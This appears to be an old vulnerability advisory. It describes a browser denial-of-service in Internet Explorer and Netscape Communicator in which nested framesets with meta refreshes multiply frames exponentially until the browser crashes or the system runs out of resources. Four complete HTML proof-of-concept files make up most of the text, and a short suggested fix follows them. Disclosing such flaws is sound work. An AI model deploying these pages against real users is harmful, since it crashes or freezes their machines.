COMMAND
IE and Communicator
SYSTEMS AFFECTED
IE and Communicator
PROBLEM
Stan Bubrouski found following. Yet another problem with those
loops. Look at these example files thrown together...
main.htm
<HTML>
<HEAD>
<TITLE>FrameTest</TITLE>
</HEAD>
<FRAMESET ROWS="25%,75%">
<FRAME SRC="frameOne.htm" SCROLLING="NO" NORESIZE="NORESIZE">
<FRAMESET COLS="35%,65%">
<FRAME SRC="frameTwo.htm">
<FRAME SRC="frameThree.htm">
</FRAMESET>
<NOFRAMES>
<BODY></BODY>
</NOFRAMES>
</FRAMESET>
</HTML>
FrameOne.htm:
<HTML>
<HEAD>
<TITLE>Frame #1</TITLE>
<meta HTTP-EQUIV="REFRESH" CONTENT="0; URL=Main.htm">
</HEAD>
<FRAMESET ROWS="25%,75%">
<FRAME SRC="frameOne.htm" SCROLLING="NO" NORESIZE="NORESIZE">
<FRAMESET COLS="35%,65%">
<FRAME SRC="frameTwo.htm">
<FRAME SRC="frameThree.htm">
</FRAMESET>
<NOFRAMES>
<BODY>
<h3>Frame #1</h3>
</BODY>
</NOFRAMES>
</FRAMESET>
</HTML>
FrameTwo.htm:
<HTML>
<HEAD>
<TITLE>Frame #2</TITLE>
<meta HTTP-EQUIV="REFRESH" CONTENT="0; URL=Main.htm">
</HEAD>
<FRAMESET ROWS="25%,75%">
<FRAME SRC="frameOne.htm" SCROLLING="NO" NORESIZE="NORESIZE">
<FRAMESET COLS="35%,65%">
<FRAME SRC="frameTwo.htm">
<FRAME SRC="frameThree.htm">
</FRAMESET>
<NOFRAMES>
<BODY>
<h3>Frame #2</h3>
</BODY>
</NOFRAMES>
</FRAMESET>
</HTML>
FrameThree.htm:
<HTML>
<HEAD>
<TITLE>Frame #3</TITLE>
<meta HTTP-EQUIV="REFRESH" CONTENT="0; URL=Main.htm">
</HEAD>
<FRAMESET ROWS="25%,75%">
<FRAME SRC="frameOne.htm" SCROLLING="NO" NORESIZE="NORESIZE">
<FRAMESET COLS="35%,65%">
<FRAME SRC="frameTwo.htm">
<FRAME SRC="frameThree.htm">
</FRAMESET>
<NOFRAMES>
<BODY>
<h3>Frame #2</h3>
</BODY>
</NOFRAMES>
</FRAMESET>
</HTML>
The browsers will open the page and the frames will keep loading
the main page and in each new frem 3 more frames will be made...
However Stan designed this so that the number of frames increses
exponentially in less than 5 seconds on a pentium 400 with 128 MB
of RAM. Netscape does the right thing...well sort of...it crashes
and that's that...another dirty little netscape DoS. IE however
does not crash...it just keeps opening frames until the system is
ENTIRELY out of resources. Well, netscape's crash better than
freezing system.
SOLUTION
Anyway, this problem technically is fixable...unlike other looping
frame problems. Technically speaking frames should not be allowed
to refresh pages other than itself and it should not be able to
spawn more frames and if they do, the page they load should not be
able to refresh pages other than itself and all frame tags should
be ignored. That solution should at least be an in IE and NS.